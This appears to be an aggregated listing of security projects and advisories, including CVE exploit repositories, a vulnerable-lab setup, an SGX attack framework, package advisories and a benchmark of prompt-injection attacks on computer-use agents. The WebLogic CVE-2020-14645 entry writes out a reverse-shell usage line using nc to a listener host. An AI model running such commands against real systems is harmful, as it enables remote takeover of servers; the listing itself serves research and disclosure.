AiSOC

AiSOC An open-source, self-hostable AI Security Operations Center. It ingests your security telemetry, detects and correlates threats, investigates them with AI agents whose reasoning is fully auditable, and proposes responses a human approves. Technical Guide PDF · Docs · Architecture · What...

cve-2025-21756

CVE-2025-21756 n-day 분석 CVE-2025-21756에 대한 n-day 분석은 Michael Hoefler의 글을 기반으로 합니다. 제 익스플로잇은 스프레이 단계와 기타 몇 가지 작은 점에서 원본 익스플로잇과 다릅니다. 여기에 있습니다...

Vanguard-Map

VANGUARD1 — 다중 도메인 전술 정보 지도 세상의 움직이는 모든 것들에 대한 실시간 3D 지도: 실시간 선박 교통AIS, 항공기, 위성, 해저 케이블, 항구, 요충지 및 우주 날씨 — 150만 포인트 지형 구름, 주야간, 해양 시뮬레이션 및 시네마틱 카메라 워크로 렌더링됩니다. Three.js와 순수 ES 모듈로 제작되었습니다. 빌드 단계나 프레임워크가 필요 없습니다. ▶라이브 데모 — 가입 불필요: 시작 화면에서 VIEW DEMO 를 클릭하여 합성 트래픽을 보거나, 무료 aisstream.io 키를 붙여넣어 실시간 글...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 용 Python EXP（한 번에 완료） 사용법: Python3 exploit.py -t -c 팁: 출력 없음 예시： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' 그러면 getshell 할 수 있습니다...

CVE-2025-49113

CVE-2025-49113 RCE 익스플로잇 이 익스플로잇의 사용자 이름/비밀번호 인증 방법은 4단계로 이루어져 있습니다 코드가 약간 지저분합니다...

sgx-step

A Practical Attack Framework for Precise Enclave Execution Control SGX-Step은 Intel x86 프로세서, 특히 Intel SGX 플랫폼에서의 부채널 공격 연구를 용이하게 하기 위한 오픈소스 프레임워크입니다. SGX-Step은 적대적 Linux 커널 드라이버와 사용자 공간에서 신뢰할 수 없는 페이지 테이블 엔트리 및/또는 x86 APIC 타이머 인터럽트를 완전히 구성할 수 있는 작은 사용자 공간 운영 체제 라이브러리로 구성됩니다. SGX-Step은 우리의 연구뿐만 아니...

WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting

Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL. id:...

CLEANSTART-2026-CD04274 Security fix for ghsa-hrxh-6v49-42gf applied in: aws-network-policy-agent 1.2.7-r0, fabric-peer 3.1.5-r1, gotenberg 8.33.0-r0, step 0.30.2-r4, kube-state-metrics-fips 2.20.0-r4, eks-distro-kube-apiserver 1.36.8-r0, eks-distro-kube-apiserver-fips 1.36.8-r0

ghsa-hrxh-6v49-42gf affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-KW79982 Security fix for ghsa-259r-337f-4rfw applied in: aws-network-policy-agent 1.1.6-r4, caddy 2.11.4-r1, fabric-peer 2.5.16-r2, fabric-peer 3.1.5-r1, gotenberg 8.33.0-r0, kubernetes-dns-node-cache 1.23.1-r2, step 0.30.2-r4

ghsa-259r-337f-4rfw affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

StepJack

StepJack: マルチステップ間接プロンプトインジェクションに対するコンピューター利用エージェントの安全性のベンチマーク セットアップ 1. Python環境のセットアップ まず、すべての依存関係をインストールし、Python 3.10で実行していることを確認します。 conda create -n stepjack python=3.10 conda activate stepjack pip install -r requirements.txt 2. サンドボックス環境のセットアップ RedTeamCUAが提供するAWS環境を使用します。 AWS 1...

CVE-2026-54520

CVE-2026-54520 ai-agent-automation 워크플로우 파일 단계의 경로 탐색 취약점으로 인해 예상 디렉토리 외부에서 읽기/쓰기가 가능했습니다. 기본 권고: GHSA-cm8g-8jfq-887p 연구자 크레딧: @chaitanyagarware 한눈에 보기 필드| 값 ---|--- CVE| CVE-2026-54520 GHSA| GHSA-cm8g-8jfq-887p 프로젝트| vmDeshpande/ai-agent-automation 패키지| backend 생태계| npm 심각도| High CVSS| 8.1,...

CVE-2025-54068-livewire

CVE-2025-54068 - Livewire v3.6.3 취약한 실습 환경 이 폴더는 CVE-2025-54068 을 재현하기 위해 Livewire 3.6.3취약 버전에 고정된 최소한의 Laravel + Livewire v3 애플리케이션을 구성합니다. 마운트된 컴포넌트는 공개 익스플로잇 체인과 호환되도록 의도적으로 작성되었습니다1단계 배열 캐스트 단계를 허용합니다. 빠른 시작 docker compose up -d --build 다음을 여세요: http://localhost:18081/ 검증안전한 PoC 이 스크립트는 공개...

GHSA-XCVF-46F4-XWXF vulnerabilities

Vulnerabilities for packages: gitness, rclone, dapr-fips, cloudflared, gogatekeeper, rclone-fips, step, sftpgo, telegraf, caddy, dapr, step-issuer, step-ca, caddy-fips, step-issuer-fips, tkn-fips, karma, step-ca-fips, kyverno-policy-reporter-ui-fips, step-fips, tkn, buf, kyverno-policy-reporter-u...

CVE-2025-71405 vulnerabilities

Vulnerabilities for packages: gitness, rclone, dapr-fips, cloudflared, gogatekeeper, rclone-fips, step, sftpgo, telegraf, caddy, dapr, step-issuer, step-ca, caddy-fips, step-issuer-fips, tkn-fips, karma, step-ca-fips, kyverno-policy-reporter-ui-fips, step-fips, tkn, buf, kyverno-policy-reporter-u...

GHSA-XCVF-46F4-XWXF vulnerabilities

Vulnerabilities for packages: gitness, kyverno-policy-reporter-ui, step, tkn, buf, karma, cloudflared, gogatekeeper, step-ca, step-issuer, sftpgo, caddy, rclone...

CVE-2025-71405 vulnerabilities

Vulnerabilities for packages: gitness, kyverno-policy-reporter-ui, step, tkn, buf, karma, cloudflared, gogatekeeper, step-ca, step-issuer, sftpgo, caddy, rclone...

secdim-assurance-drift-challenge

SecDim Challenge Builder Repro — アシュアランスドリフト CVE-2026-88861 （2026年9月10日公開）に着想を得た、提案中のセキュリティチャレンジの動作する再現です。 セキュリティの概念 このアプリケーションは、署名済みセッションを正しく検証し、admin ロールを正しくチェックしていますが、2つの独立したセキュリティ特性、すなわちアイデンティティ/ロール と認証アシュアランス を混同しています。パスワードのみの aal1...

CVE-2026-16000: Missing Cryptographic Step

Missing cryptographic step in the DSTU 7624 CCM mode implementation KCcmBlockCipher in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows an attacker who can observe encrypted messages of known or chosen content to forge ciphertexts with valid authentication tags, via messages encrypt...

Rocky Linux 10.2 [CIQ] Security Update: vim-X11 / vim-X11-debuginfo / vim-common / vim-data / vim-debuginfo / etc Multiple Vulnerabilities (crlsa-2026_38509)

The Rocky Linux 10.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202638509 advisory. vim: command injection when decompressing .tgz archives CVE-2026-46483 vim: Vim: Arbitrary Code Execution via crafted directory names CVE-2026-47162 vi...

Rocky Linux 9 [CIQ] Security Update: vim-X11 / vim-X11-debuginfo / vim-common / vim-common-debuginfo / etc Multiple Vulnerabilities (crlsa-2026_38511)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202638511 advisory. vim: command injection when decompressing .tgz archives CVE-2026-46483 vim: Vim: Arbitrary Code Execution via crafted directory names CVE-2026-47162 vim:...